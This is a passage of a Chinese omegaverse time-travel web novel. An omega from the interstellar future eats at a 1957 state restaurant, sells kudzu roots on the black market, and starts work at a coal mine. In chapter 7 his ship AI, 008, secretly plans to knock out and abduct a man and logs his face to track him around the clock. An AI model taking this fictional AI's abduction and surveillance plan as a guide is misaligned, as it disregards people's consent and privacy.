“行,那我去厨房和老师傅催一声啊。”话音落下,人就撒腿跑了,仿佛屁股后头有狗追。 楚虞看得一愣一愣。 三分钟过后,小丫头带着露出八颗牙齿的标准笑容回了前台,谢磐石掏钱掏粮票。 楚虞满满期待,一双漂亮的眸子亮晶晶的,敬仰地看着谢磐石从裤兜里掏钱。 在他期盼敬仰的目光下,谢磐石掏钱的动作微微一顿,眼角抽了抽,不知道为什么,总有一种上当受骗被宰的冤大头感觉。 再一次懊悔,十分钟前他一定是昏了头,才会答应请客吃饭! 这被宰的感觉实在不妙。 谢磐石是退伍转业的公安,副处待遇,拿22级工资,每月工资加上各项津贴补贴、烈士遗属补贴等等,加起来八十多块,确实不缺一顿请人下馆子吃饭的钱。 他掏出厚厚一沓花花绿绿的票子,面值十元的,五元的,一角两分五分的…… 小丫头噼里啪啦算账,“谢公安,一共三块六,搭半斤的细粮票。” 楚虞看着谢磐石交了对应的钱,又抽出一张写着0.5市斤的细粮票,想来这就是1957年的细粮票了。 吃饭都要搭粮票……回头上了飞船,他得继续恶补各类票证的常识! 交了钱票,点的饭菜还要等一会才能上齐,谢磐石准备找个桌椅坐下等,谁知没走成,衣摆被某人悄悄地拽住。 “……”谢磐石顿时感觉不妙。 omega继续发挥美貌优势,一双仿佛沉满星河的漂亮眸子,殷切渴慕地看过来。 他嗓音低低的,软乎乎撒娇道:“你好像还有多余的钱,可以再点两个菜吗?” “……” “想吃大肉包子。”楚虞指着黑板报,嗓音软乎乎的开始提出加餐。 “……” “凉拌黄瓜、梅菜扣肉。” “……” “酸菜鱼——” 话音未落,小丫头打断楚虞,友好提醒道:“不好意思这位同志,今天食堂没有酸菜鱼,不供应。” 楚虞顺从地“哦”了一声点点头,准备再点个其他的,然而谢磐石已经上手捂住了他的嘴。 谢磐石面无表情,“行,再加一个大肉包子,一碟凉拌黄瓜!”便宜。 楚虞唔唔抗议,着急跺脚,漏了漏了,还有梅菜扣肉。 见他这么激动,谢磐石沉默片刻:“……再来一小碗梅菜扣肉。” 小丫头眼神飞快地瞄来瞄去,没敢多嘴,“好嘞,谢公安,这就给您算账!” 最后,谢磐石又付了两块一,搭4两粮票。 两人找了角落的方桌坐下来。< /p>楚虞不高兴地提出意见,“你下次有什么可以先跟我讲,不要直接动手动脚。” 上来就捂omega的嘴,毫无距离感毫无分寸。 臭流氓! 谢磐石不惯着他:“怎么说话呢,我怎么动手动脚了?” 楚虞做了个捂嘴的动作,目光谴责,看他仿佛看流氓。 谢磐石脸上微微笑,虽然他沉迷玫瑰花香,但脑子还在,没丢。“首先,你不是女的,咱两都是同性,我就是扒了你的裤子也称不上是动手动脚耍流氓。” “!” 楚虞害怕地捂住自己裤腰。 谢磐石不动声色瞄了眼楚虞的腰:“……其次,我正在请你吃饭,这一顿饭花了将近六块,据我所知,工厂里的学徒工一个月也就挣十八块的工资……” 也就是说,一顿饭花掉了普通学徒工工资的三分之一。 楚虞瞪圆了眼。 谢磐石谴责的目光看向他,语气幽幽,“你们人类常说吃人嘴短,难道这时候的你不该对我巴结客气点吗?” “……” 看在吃人嘴短的份上,楚虞哼了一声,没再反驳说话。 请他吃饭怎么啦,omega靠美貌换来的一顿饭,吃的理直气壮。 很快,前台的服务员小丫头热情地端来一碟凉拌黄瓜,一盘醋溜土豆丝,以及两碗满得冒尖的黄米饭。 “谢公安,您慢用,剩下的菜做好了我就给您端过来!” “嗯。”谢磐石开始动筷。 楚虞迫不及待夹菜,“黄瓜黄瓜,唔!” 不同于星际时代的嚼纸皮嚼不烂的口感,1957年的凉拌黄瓜入口脆爽,酸辣开胃,吃得让人想闭上眼睛慢慢享受。 楚虞一边埋头大吃一边快乐地几乎难以抑制,“醋溜土豆丝!唔好吃好吃!” “真好吃!” 不一会儿,剩下的菜也一块上齐了。 色泽鲜亮、酱香浓郁的红烧肉。 皮薄得透光、能隐约看见里面肉馅的大肉包子。 吸饱了汤汁的梅菜覆盖着肥瘦相间的肉片,颤颤巍巍,软糯,咸香,每一口都是踏实的满足。 吃到了从未吃过的美食,楚虞只觉过去十九年的人生都白活了,他应该出生在1957年,而不是未来星际时代! 他吃得太过着急,筷子用的不大熟练,一块红烧肉在筷尖打转,打滑了好几次,最后还是谢磐石看不惯,伸筷子帮忙给他夹到碗里,“慢慢吃。” “谢谢!”楚虞幸福星星眼。 到最后,谢磐石没吃几口,不知何时渐渐停了筷子,若有所思的看着楚虞埋头干饭。 东扒拉一筷子,西扒拉一筷子。 吃饭时楚虞肉眼可见地快乐满足,偶尔抬头咀嚼,腮帮子鼓出一块,漂亮的眼眸眯了起来,嘴角沾着酱汁,下巴沾了米粒。 这模样看着有些蠢笨,却意外地明亮生动,让人挪不开眼。 身上有他喜欢的玫瑰花香,皮肤雪白发亮,一双葡萄似的眼眸,隐隐露出来的锁骨,修长匀称的手骨,腰肢似乎也很细韧…… 不得不说,统统长在了他的审美点上。 可惜了,性别不对。 谢磐石面无表情的想。 6.第 6 章 楚虞吃撑了。 他高估了自己的饭量,也低估了谢磐石的饭量。 剩下一大桌子的菜,包括三张脸盆大的葱花烙饼,几乎全部进了谢磐石的肚子,连一滴汤汁都不曾浪费。 从国营饭店出来,楚虞拍拍肚皮,止不住的打嗝,“真好吃,明天我继续——嗝——下馆子!” 谢磐石眉眼抽动,没应声,生怕明天又得当请客吃饭的冤大头。 两人不知不觉走进了幽静的青砖长巷。 盛夏的风带着潮湿与热浪,迎面吹了过来,不远处出现一排柳树,风把树叶吹得哗哗作响。 在潮热的夏风中,谢磐石又一次闻到了来自楚虞身上、浓郁的玫瑰花香。 “好香。”他闭上眼睛再度沉迷。 “……”楚虞脚步停顿,闭了闭眼,看在一顿饭的交情上,也不是不能忍。 虽然不知道为什么谢磐石可以闻到omega的玫瑰花香,但不得不承认,他是目前为止唯一的例外。 楚虞观察谢磐石的神情,发现他只是单纯的沉迷花香,并没有Alpha对omega难以压抑的汹涌淫.靡的占有欲。 这样就很好。 至少不会让omega感到恐惧不安。 这也是楚虞能够轻易原谅谢磐石对他动手动脚耍流氓的原因。 然而两分钟过后,楚虞立马决定收回原谅谢磐石的想法! 因为这狗东西得寸进尺越来越靠近,甚至弯下腰,高挺的鼻梁贴着楚虞后颈蹭来蹭去,毫无距离毫无分寸! “玫瑰花好香……” “!” 楚虞头皮发麻忍无可忍,使劲推开狗脑袋,痛心疾首骂他,“谢磐石同志,你懂不懂什么是安全礼貌的距离?都说了别动手动脚,别靠我那么近!” 谢磐石置若罔闻,一边用力嗅闻一边低声嘟囔,“你不对劲,你一定不是人……” 楚虞冷不丁被他开除人籍,没好气的骂,“我谢谢你,让你失望了,我生下来就是人!” 青砖长巷安安静静。 仗着没有外人,谢磐石肆无忌惮,使着巧劲将楚虞拥进怀里,对着玫瑰花香味道最浓郁的后颈嗅嗅闻闻。 “谢磐石同志!” 楚虞决定和他分道扬镳,“谢谢你请我吃饭,我还有其他事,你可以走了。” “不走。” “有种再说一遍,你走不走?”楚虞试图给他机会。 “不走。”谢磐石不管不顾继续嗅闻玫瑰花香。 楚虞深吸一口气,从口袋里掏出一节轻巧袖珍、方便omega随身携带的防狼电击棍。 谢磐石不认识电击棍,但本能地眉头一跳,有种不妙的预感。 然而不等楚虞开始启用防狼电击棍,远方隐隐约约传来着急的呼喊声,“谢公安,谢公安……” “谢叔叔……” 谢磐石眉头蹙起,放开了楚虞,抬头望去。 楚虞当然也听到了喊声,摁着电击棍的手指微微一顿,“是不是找你的呀?” 很快,巷子尽头出现两个佩戴红领巾的小学生,年约七八岁,一脸婴儿肥稚气未脱的模样。 乍然看见谢磐石,两小孩眼睛发亮,喘着粗气,急匆匆跑了过来,“谢叔叔,我们找你半天了,爸爸说局里有电话找你,让你快回去。” 谢磐石认识这两小孩,在公安大院里长大的。 “哪来的电话找我?”他低头问。 “说是京都来的电话,”小孩儿挠了挠头,“好像很着急,说什么朵朵摔了,站不起来……” 听到这句,谢磐石脸上笑意开始收敛——朵朵是他同母异父的亲妹妹,从出生起就放在他身边嗷嗷大哭,逼着他不得不学着带娃。 小丫头自幼古灵精怪,调皮捣蛋几乎要上天,惹得谢磐石一度十分烦躁想把妹妹亲手扔出门去。 毫不夸张地说,陈朵朵几乎是谢磐石一点一点拉扯长大的。 她今年十六岁,正在大院里上高中呢,好端端的能出什么事? 谢磐石脸色阴沉,“走,先回去。” 见他抬脚要走,楚虞连忙摆手,“那你快回去,我也忙着呢。” 说罢楚虞转身就跑。 谢磐石脚步微顿,没说话也没有阻拦,目光晦暗不明,远远望着楚虞匆匆逃窜的背影。 “谢叔叔。”脚边的小孩儿催促。 “没事,我们走。”谢磐石终于收回了视线。 回去公安局的路上,他想着楚虞就在淮山二矿,人是丢不了,他若是想去找,随时都能找到。 楚虞浑然不知谢磐石惦记着找他呢。 一口气逃出青砖长巷,终于摆脱了阴魂不散的狗男人,楚虞大松一口气,左右张望,随机挑了一个偏僻无人的巷子。 走进小巷,身影无声无息消失在波动的空气中。 上了飞船,楚虞叹息躺平,“还是上面凉快啊,外头快热死了。” 屏幕里的00猫恨铁不成钢,指指点点:“建议小主人尽快习惯当地盛夏高温天气,少上飞船贪凉——毕竟明天就要上班了!” 楚虞哼哼一声,不理它,闭上眼准备睡懒觉。 008不许他睡,“想好怎么赚钱了吗?找到哪里租房了吗?” “急什么?”楚虞扯着被子翻身嘟囔,“明天再说嘛,先睡觉,让我睡一觉。” 008不语。飞船陡然拔升高度,下一秒急剧坠落,左晃晃,右摇摇,上演万米高空惊险大摆锤。 “小八!”楚虞晕头转向。 “还睡吗宝宝?”008亲切问候。 “……” “不睡了不睡了。”楚虞欲哭无泪起床,做主人做到这份上,说出去都丢人。 008亲切教导,“亲,建议您开动脑筋主动思考,主动想想怎么挣钱呢。不能养成依靠008喂饭的不良习惯呢。” “……”楚虞抹脸,“户口迁移证明都帮我搞了,顺便帮我想想怎么搞钱呗。” “不可以呢亲亲。《宇宙智脑通用法》明确规定,禁止机械智脑采取任何手段参与人类经济活动呢。” 不是,有这条离谱规定吗? 楚虞一时想不起来,但这不重要,既然挣钱靠不上008,那就只能靠自己了。 他仰头望向天花板,皱着眉头努力思考—— 挣钱嘛无非两条路,要么上班挣工资,要么去自由市场做买卖,交易挣差价。 众所皆知,1957年从上到下穷得叮当响,物资有限,讲究统购统销,计划分配,严禁市场自由交易。 所以,这年头有黑市吗? 这问题的答案,楚虞想都不必想,任何时间任何地点,黑市不可能不存在。 未来星际都有黑市交易存在呢。 “小八!告诉我哪里有黑市!” 008欣慰解答:“经飞船扫描,兴安县确实存在几个固定的黑市交易地点……咔……咔咔……” 楚虞:“……?” 008不信邪,“交易地点如下…咔咔……” 连续两次自动消音,楚虞再蠢也该知道是怎么回事了。 “我知道,”omega声音无比哀怨,“又是那什么宇宙通用法,禁止智脑参与人类经济交易是吧?而且提到了黑市,算是违法犯罪,触发了你的核心底层代码?” 008沉默,用无声回应肯定。 楚虞气笑了,“行,谁说做买卖非要去黑市?我不去黑市也能卖东西挣钱!” 那么问题来了,该卖什么挣钱呢? 楚虞在飞船上左看右看,试图找出一两件有价值的、能拿出去卖钱的物件。 小熊闹钟?会飞会跑会咕咕叫,太先进了,不行。 智能控温碗筷?不行。 三维打印机?更见不得人。 医疗舱?别想了。 …… 翻遍飞船,楚虞沮丧地回到床上,“小八,我没有能拿出去卖的东西,不如洗洗睡吧。” 008咳咳,暗示他:“吃。” “吃,吃什么?” “吃!”语气再次恨铁不成钢。 “吃?”楚虞挠头,“小八你是说卖吃的吗?飞船上的营养液都没了,没有能卖的吃食啊。” “山,山上。”008努力提醒。 “什么山?”楚虞回不过神,显得笨笨的。 “……亲,要不还是洗洗睡吧。”008放弃了。 楚虞沉默,和大屏幕上无奈躺平的00猫面面相觑。 摊上一个笨蛋主人。 008搓脸叹息,决定做最后的努力,进一步降低飞船高度,力求让楚虞能够清晰看 到飞船舷窗下绿意葱葱连绵不断的山峰。 以及山峰下鸟语花香,万物生长…… 直到飞船几乎降落,一只黑壮肥硕的野猪在远处出现。 看到野猪,楚虞那笨笨的脑袋终于迸发灵光,“我知道了!抓深山上的野猪野鸡卖肉换钱!” 008同样激动,“亲,抓捕野生动物食用,有感染寄生虫和未知病毒风险呢。” “……”楚虞没好气,“这不行那不行,我不抓野猪,还能卖啥换钱嘛?” 飞船降落着地,大门敞开,参天大树拔地而起,树上爬满藤蔓,绿意葱葱,枝叶繁茂。 大屏幕适时亮起,开始科普,“葛根藤蔓通常长着三片大叶子,喜欢缠绕在树上。” “眼前的藤蔓就是葛根藤!葛根,又称土里挖出来的粮食,富含淀粉,饱腹感极强。” “一根野生葛根通常重几十斤,这里是深山深处,人迹罕至的地方嘛,葛根应该能长到几百斤。” 几百斤葛根? 楚虞眼睛发亮,“所以,葛根挖出来能卖钱!论斤卖!” 008淡定点头,“对的。” “那还等什么?冲啊!” 楚虞抄起铲子就冲了出去,下一秒折返回来,脸颊苍白,吓得魂不附体的,“有有有有有有蛇。” 还不止一条,是一窝密密麻麻的蛇啊。 楚虞差点踩到蛇窝,吓得魂都飞了。 008无语,操控飞船发出驱逐信号,保证十分钟后方圆十里没有一只活的生物。 十分钟后,楚虞探头探脑,“小八,你确定外面没蛇了吗?安全吗?” “安全,绝对安全!” 楚虞小心翼翼踏出飞船,跪到距离最近的树根下,拿着铲子兴冲冲开挖葛根。 半小时后,楚虞累得呆头呆脑,顺藤挖出一截深达两米的葛根主根。 “小八,”omega语气恍恍惚惚,“我记得飞船上好像有配备炸弹,可以帮我精准炸出土坑,挖出葛根吗?” “抱歉,不可以呢。”杀鸡焉用牛刀。 “那你能帮我挖吗?” “抱歉,智脑008没有机械实体。”008有点同情了。 “那什么,激光切割土坑,让土壤松软一些,好挖一些,也不行吗?求你了嘛小八,帮帮我嘛。” omega累得止不住撒娇。 008:“……我试试。” 008操控飞船发出数道激光,将楚虞正在开挖的土地来回切割,三秒后,成功得到了一大片松软沙壤。 “这样就好挖了嘛。”楚虞惊喜开心。 不费吹灰之力,挖开松松软软的土壤,深埋地下的葛根和沙土一块碎成了粉末,浑然分不清谁是葛根谁是沙。 楚虞:“………” 008:“………” 楚虞笑容僵硬,放弃幻想,重新换了场地,老老实实挖葛根。 三小时后,楚虞满头大汗,两腿颤颤,戴上反重力手环,抱着切割成块、一共五百斤左右的新鲜葛根回到飞船上。 “小八,我死了。”他在地上躺成饼。 “……” 008安慰他,“小主人真棒!按照当下的物价,这五百斤葛根至少能卖…咔……咔咔。” 楚虞抬手,有气无力地说道:“好了不要再咔了。我睡一会,一会儿天黑了记得叫醒我,我去城里卖葛根。” 008不语,及时调出“手工编织背筐”的教程,呈现到大屏幕上。 楚虞只瞄了一眼就吓得收回视线,四肢酸软,颤颤巍巍爬上温暖舒适的大床,“干不动了,真干不动了。” 砍竹子,劈竹子,编竹筐…… 样样都是力气活儿,即使戴上反重力手环也省不了多少劲,简直要命! 单是挖葛根,他的手掌心这会儿都磨得又红又疼呢。 虽然他一直自诩omega独立自主,上班挣钱不比Alpha差,但——体力活太难了,太难了! 更让omega绝望的是,在1957年,好像处处都是体力活。 想到明天就要开始下井挖煤的日子,楚虞咬着被子,眼泪都快出来了,“小八,不如我找个Alpha吧,让他干活,让他挣钱,咱考虑做个贤妻良夫,生儿育女也行的。” 008:“……” 7.第 7 章 天色黑透,街道上渐渐没了行人,四周安静下来。 兴安县公安局附近,院子大门口亮着一盏昏暗的灯,两个摇着扇子的大爷大妈坐在树下吹风纳凉,小孩儿在身旁嬉闹玩耍。 “爷,那墙角有人!”小孩惊叫出声,指着远处黑暗阴影下的人影。 “谁啊?”老大爷站起身,摇着扇子颤颤悠悠过去。 楚虞脸上蒙着口罩,头一回倒买倒卖难免紧张,低着声音问:“大爷,买葛根吗?” 老大爷愣了一下,低头就看见楚虞胸前背着大书包,书包拉链敞开,借着远处路口照过来的昏暗灯光,葛根土块看得清清楚楚。 见大爷不说话,楚虞急道:“不贵,这一大包葛根足足十斤呢,您要买的多,我还能去搬五百斤!” “五百斤?”老大爷眉头直跳。 “对。”楚虞不了解当地黑市的物价,打算说句给钱就卖,哪怕十斤两毛钱都给打包卖了。 他在山里辛辛苦苦挖了五百斤葛根,即便十斤卖两毛钱,也能卖足足十块钱呢。 十块钱,省着点花,起码三两天够用了。 不等老大爷多问,树下纳凉的老太太也过来凑热闹,“干什么呢静悄悄的——哎呀是葛根!” 语气不是不惊喜。 老太太毫不客气,直接上手捡了一块葛根,迈着小脚哒哒走到灯光下仔细看了看——明显是新鲜挖出来的葛根,上面的土壤都没干透呢。 这年头城里人吃供应粮,每月发放的粮食斤两都是有数的,基本上家家户户吃不饱,都缺粮。 这葛根是个好东西,能煲汤炖着吃,也能做成葛根粉,耐放又方便冲泡。 老太太动了心思,迈着小脚哒哒跑回去,“同志,这葛根怎么卖?” 见她着急想买,楚虞忐忑的一颗心终于安定下来,“我有五百斤的葛根,老人家,您都买吗?” “多、多少?”老太太脸色震惊。 “五百斤!”楚虞认真强调,能一口气卖掉当然更省事。 说罢,他又想了想,当即把价格翻了倍,大胆叫价,“二十块,五百斤的葛根打包卖!” 听到这价,老大爷和老太太纷纷诧异抬头,不由开始怀疑天上掉馅饼,卖这么便宜,该不会是骗子? 比如拿了钱搬来五百斤土疙瘩? 殊不知楚虞这会儿又累又困,只想早点卖完葛根早点上飞船。 楚虞打着哈欠道:“老人家,我不骗你,我哥推着板车就躲在附近呢,不过他胆子小不敢露面,只要您确定买,我负责送货上门,您把货检查完了再给钱都行!” 话都说到这份上了,老太太还能有什么顾虑,当即拍板道:“行,只要葛根没问题,二十块我买了。” 老人家就住在路口跟前,独门独户的青砖大院,左右街坊都隔了有段距离,正是适合静悄悄送货上门。 过了十来分钟,楚虞推着板车鬼鬼崇崇再度出现。 这板车是他在飞船上废了老大劲儿拼凑起来的,全钢材质见不得人,幸好天黑看不清,他给车上铺两层床单,勉强做个遮掩,拿来搬运葛根再合适不过。 “哎终于来了,小伙子,快进来。”老太太悄悄打开院子大门。 院落门口有三层台阶,板车不好推进去,只能在门口卸货。 没等楚虞撸起袖子卸货,院子里一大家子都出来了,穿着白色汗衫的男人满脸激动,仿佛做贼一般低声道:“小同志你歇着,我来搬!” “爸,我们也来。” 两个小孩儿兴冲冲上手。 不到十分钟,板车上五百斤的葛根迅速搬了进去,在院子里几乎堆成一座小山。 黑市买卖毕竟有风险,怕人发现举报,两小孩在大门口望风,男人则是出去在外头的巷子里抽着烟。 见他们如此谨慎,楚虞眨了眨眼,看向天上随时随地监控警戒的008,不得不说,有008在,安全感爆棚。 他收回视线,安安分分站在院子里。 老太太蹲地上,一块一块检查葛根的好坏,老大爷则是拿着杆称,每次称个二十斤左右,不一会儿便称够了斤数。 满打满算不止五百斤,还超了十来斤呢。 老太太高兴地眉开眼笑,拉着楚虞夸个不停,“小同志真厚道,这葛根果然不差,都新鲜着呢,就是这多出来的斤数……” 楚虞秒懂:“没事,就当我送的。” 老太太不大好意思,想了想,给楚虞搭送了两张工业券。 买脸盆暖水壶之类的,光有钱不行,还要工业券呢。 楚虞收到两张崭新的大团结,另外拿到两张工业券,不由有些惊喜,推着板车和老人家道别,高高兴兴消失在夜色中。 “发了发了,”回到飞船上,楚虞翘着脚开心数钱,“不枉费我辛辛苦苦挖了一下午的葛根。” 008痛心疾首,“卖便宜了!你这简直就是贱卖!” 楚虞理直气壮,“今天下午不是说你们智脑不能随便插手人类经济交易吗?你这会儿多说什么话?闭嘴!” “……咔……咔咔。” 008骂骂咧咧,脏话被自动消音。 楚 虞继续狡辩,“再说了,我要不是便宜打包卖,这会儿还在下面狗狗崇崇到处找买家呢。” “那你找啊,多找几家就能多卖钱!” “不,我要早点卖完早点睡觉!” “……咔。”008又骂脏话。 楚虞哼了一声,收起辛辛苦苦挣到的二十块钱,气呼呼地上了床,开始睡前指责,“小八,你变了,以前你是多么体贴多么温柔的上班搭子,总是让我躺平让我休息,现在怎么回事?老是叫我干这干那!” 008恨不得长出机械臂晃一晃楚虞进水的脑子,“以前在宇宙巡航,我这个智脑当然能处处体贴帮你干活,现在是1957年,我还能帮你巡航干活吗?” “怎么不能啦?你换个方式,帮我想想除了上班挖煤,还能怎么赚钱嘛。” “想屁吃。”008呸他。 楚虞:“。” “小八,我睡觉了,明天早上十点整记得叫我起床呀。” 008冷漠无情:“不许睡到十点,明早八点就要起床!” 楚虞听了就当没听到,拍拍手关了灯,安详闭眼,无忧无虑陷入梦乡。 他睡得香,008却愁得要命,操控机械臂悄无声息打开医疗舱,看着空荡荡的药剂盒发着呆。 没有抑制剂了。 这个令o骇然失色的消息它至今不敢告诉楚虞。 楚虞是omega,十九岁的omega少年还在性征发育期内,发情周期不大稳定,信息素最活跃的时候几乎每月都要打一针抑制剂。 而距离他上一次发情期,已经过去三周。 没有信息素抑制剂,omega的下一次发情期,该怎么度过呢? 找个Alpha解决生理需求? 1957年有可能存在进化人类Alpha吗? 008开始翻阅庞大海量的数据库,并且想到了关键人物——谢磐石。 谢磐石是目前唯一的特例,在兴安县,只有他闻到了楚虞身上的玫瑰花香。 倘若楚虞熬不过漫长且痛苦的发情期,那么008不介意将谢磐石打晕了掳上飞船试一试。 想到这儿,它操控飞船扫描下方,准备把谢磐石这张脸录入智脑系统,方便从今往后24小时随时查阅行踪。 咦等等,谢磐石呢,这家伙怎么不在兴安县? 008提高警惕,迅速扩大扫描范围,终于在某列咣当咣当的绿皮火车上,找到了闭眼沉睡的谢磐石。 幸好幸好,人没丢。 录入智脑系统。 get! 8.第 8 章 兴安县的早晨,太阳已经升起,清风徐徐,不冷不热。 飞船上,楚虞没能如愿睡个懒觉。 一大早刚过八点整,惊天动地的闹铃声把他吵醒,他满脸困顿迷迷糊糊,魂还在梦里飘呢,身体就被墙上的机械臂抓起来,以倒头栽葱的狼狈姿势扔进浴缸。 淋浴喷头哗啦啦流水,008给他浇了个冷水澡。 一个激灵,楚虞终于清醒了。 楚虞痛苦面具脸,“小八!” 008毫不留情,“今天是煤矿上班报到的第一天,限你十分钟内洗漱完毕,下去打工!” 说起工作,楚虞不是不知轻重。 但自从斥巨资买了机械智脑008,他在飞船上从此咸鱼躺平,巡逻有008自动驾驶,塔台数据有008记录,甚至一切吃穿住行都有008操心安排…… 他只要定期翻阅检查008的工作日志,确认沿途巡航的塔台正常运行,然后把数据交给总部,总部再检查一遍,这日常流水账工作就这么交差了。 所以说躺平三年,谁还能接受早八晚五的痛苦牛马命运呢! 楚虞狰狞刷牙,痛苦洗脸,换了衣服,背上大书包,下一秒就被008踹下了飞船。 “认真上班,不许偷懒!008在天上时刻监督你!” 楚虞:“……” 楚虞认命地搓了搓脸,准备迎接即将到来的牛马生涯。 不过,上班前先吃饭。 他早饭还没吃呢! 想到昨天和谢磐石下馆子蹭的那一顿饭,楚虞舔了舔唇,下意识摸出口袋里的二十块钱。 买两个肉包子只要两毛钱,价钱倒是不贵,便宜的很,但手里没粮票啊…… 想了想,他把钱重新揣回兜里,兴冲冲直奔淮山二矿街道办。 “葛婶儿!我来报到!” 葛翠芝看见他,当即掏出了粮本副食本,脸上笑眯眯的,“楚虞同志,就知道你着急,早上没吃饭吧?” “没……”楚虞摇头。 “那正好,你的粮食关系昨儿都办好了,婶子带你去矿上食堂,先给你兑饭票,现在时间还早,赶得上吃顿早饭。” “谢谢葛婶。”楚虞惊喜。 葛翠芝没再废话,赶时间,带楚虞出了办公室,沿着外头的街道一路直行。 路上,有认识的街坊邻居热情打招呼,“葛婶,这是去矿山呢?” “对,新人报到,带去给矿长见见。” “哎呀这就是新来的?”上下打量楚虞。 楚虞不说话,佯装腼腆地笑笑。 他今天仍然穿一身不起眼的灰色休闲服,脚踩牛皮短筒军靴,但因为模样太过出众,皮肤雪白头发乌黑,站在人群当中仿佛鹤立鸡群,一时间人越来越多。 有妇女打量他的衣着,全身上下没有一处补丁,穿的还是牛皮短靴,不由目光闪烁。 “小同志哪里人?咋没见过呢。” “看着就有文化,是不是大学生毕业分配下来的呐?”套近乎打听。 也有老太太止不住地夸,“长得真好,个头真高。” 话还没说完,甚至上手摸了摸楚虞身上的衣服料子,真滑溜。 这边刚摸完,那边又伸出一只手摸楚虞的头发,“哎呦这还是自来卷呢。” 楚虞:“……” 楚虞招架不住,红着脸把老太太的手挪开,拼命往葛翠芝身后躲。 葛翠芝乐得要命,一边驱赶一边骂,“哎哎哎干什么?瞧把人吓的,我们还有事,忙着呢,下次再唠啊。” 几句话把街坊邻居打发,从人群里逃离出来,楚虞心有余悸地擦了擦脑门上的汗,心想这街道的人都如此热情吗? 吓得他都开始考虑要不要住的远一些了。 葛翠芝憋着笑,“楚虞同志,你别误会,大伙儿没恶意,就是难得见到一个长得好看的……” 楚虞勉强笑笑。 见他羞得面红耳赤,葛翠芝不敢再逗,在街道尽头拐了弯,又走了七八分钟,眼前出现一排排新修的水泥楼房。 “这两栋楼就是去年新修起来的家属楼,给咱矿上职工统一分配,差不多都住满了。”葛翠芝详细介绍。 楚虞点点头,不由看向了那两栋家属楼,楼层最高三层,坐北朝南,由一条长长的笔直楼道串联起二十多个单间,门窗整齐划一,楼道栏杆上刷了绿漆。 几乎家家户户都在楼道里晾晒衣服,门前有个烧火做饭的铁皮炉子,堆着柴垛子土煤球,又或是乱七八糟的杂物。 肉眼可见挤得满满当当。 楚虞收回视线,第一反应问出了最关心的问题:“葛婶,这家属楼的厕所在哪,好像没看见?” “在楼道尽头,每层楼都有公厕,还有水房呢。” 见楚虞似乎对家属楼感兴趣,葛翠芝犹豫了一瞬,劝他道:“这家属楼确实有几个房间闲置空着,但矿上排队分房的双职工正式职工也多着呢,怕是没法让你租……” “哦,”楚虞失望,“那集体宿舍也在这里面吗?” “是,就在那一楼。” 两人距离家属楼越来越近,葛翠芝干脆带他顺路进去看了一眼集体宿舍。 只见大门敞开,三十平方左右的大通间,盘了一片火坑通铺,坑上铺满稻草和凉席,几个浑身黑成碳的汉子正光着膀子,闭眼睡得鼾声连天。 楚虞站在门口,听着震天的打鼾声,不可避免地闻到房间里一股浓郁的男人汗臭和脚臭味儿……! 屏住呼吸,后退两步。 未免太臭了。 见他不打算进去甚至迅速后撤,葛翠芝眼角抽抽,她有阵子没来矿上的集体宿舍,住的人多了,再加上盛夏天热,这帮臭男人邋里邋遢不收拾……是有些,臭! 葛翠芝也被臭的屏住呼吸,无语地“嘘”了一声,拉着楚虞静悄悄离开。 离开集体宿舍,她企图解释:“屋里睡觉的那几个,八成是昨晚值夜班下了炭洞挖煤,累得白天补觉呢……上次我和矿长、还有工会的王书记一块来集体宿舍搞卫生检查,那收拾的规规整整,没味儿,也干净。看来是该搞一搞卫生大检查了……” 越解释似乎越徒劳。 楚虞被集体宿舍的环境臭到了,眉头紧皱,暂时有点不想说话。 葛翠芝咳了咳,“前面就是淮山二矿的机关办公区,还有食堂,咱先去食堂。” 所谓的淮山二矿职工食堂,也是这两年新修起来的红砖水泥平房,地方并不大,占地面积大约一百平米,摆了几十张饭桌和长条凳。 再往里,有一排一米高的水泥柜台,这就是打饭窗口了。 正是早上的饭点时间,工人们三三两两,端着搪瓷缸,排着队打早饭。 楚虞一路走过去,目不斜视,尽力忽略四周打量的眼神,跟着葛翠芝进去食堂后厨。 “赵大爷,睡着呢?”葛翠芝喊人。 “哪儿睡着呢,在看账本。”戴眼镜的赵老头从桌上抬起头,看见她身旁的楚虞,“这是——” 葛翠芝忙介绍,“这位是楚虞同志,千里迢迢从上海来支援咱们矿山建设,以后就是咱二矿的人了。” 楚虞及时露出礼貌微笑,打招呼道:“大爷,我是楚虞。” 赵老头诧异,扶了扶眼镜仔细看楚虞,“大学生毕业分配下来的?” “……不是。”楚虞笑容僵硬。早知道让008搞个大学文凭。 葛翠芝这会儿才想起来问:“小楚同志,你是高中毕业吧?” 楚虞重重点头,毫不犹豫把高中毕业的学历摁到了自己头上。 下班回去就让008把高中毕业证补上。 “高中毕业啊……”葛翠芝语气惋惜。 好歹是个读书认字的学生,有文化,下洞挖煤属实有点浪费了。 但楚虞初来乍到,没有上头正式 的委派文件,只能从最不值钱的临时工起步,先看他后续表现,兴许矿长看中了另有安排呢。 葛翠芝没再多想,把楚虞的粮本副食本掏出来,让赵老头帮忙兑饭票。 涉及到吃饭大事,楚虞往前走了两步。 只见赵老头看了一眼粮本,拿钢笔在本本上涂改,“粮食关系落到了二矿街道……办是能办,这样,先给你兑十天饭票,成不?” “成,用完了再兑。”葛翠芝替他回答。 “十天饭票,包早午饭,五块钱。” 楚虞不大明白兑饭票的换算细节,也不打算多问,多说多错,以后他总能弄明白这些生活常识。 再者,葛翠芝是街道办的办事人员,犯不着和人一块合伙骗他饭钱。 他稀里糊涂的掏钱,一边掏钱一边庆幸昨晚没偷懒,趁夜卖葛根挣了二十块,否则这会儿买饭票身无分文! 上交五块钱,拿到十张两寸大的粉票子,上面写着“淮山二矿食堂饭票”,中间有条虚线,左边是早餐票,右边是午餐票,左右都盖了红戳——是矿上食堂确认缴费的公章。 楚虞面色虔诚,认真收好饭票,重新回到食堂大厅,跟着葛翠芝一块去打饭窗口排队。 “葛婶儿,这位小同志是谁啊……”排队途中有人搭话。 “新来的?” “看着年纪挺小,不像大学生啊。” “……”众人七嘴八舌的,隐隐约约又有一种聚合围拢的趋势。 有了先前被摸来摸去的教训,楚虞满脸防备,不由抓住葛翠芝的衣摆,语气求助且脆弱,“葛婶儿。” 葛翠芝:“……” 葛翠芝瞄了一眼楚虞的脸,不得不感叹他这张脸雌雄莫辨实在勾人,众星捧月引人注目! 她不得不站出来:“别挤别挤,都散开啊,我给大伙儿介绍,这是楚虞同志——是新来的临时工,来支援咱矿山建设的,大家鼓掌!” 话音落下,掌声如雷。 这场景,楚虞不社恐都变得有些社恐了,说话磕磕绊绊,“谢谢,谢谢,大家以后,多多关照。” 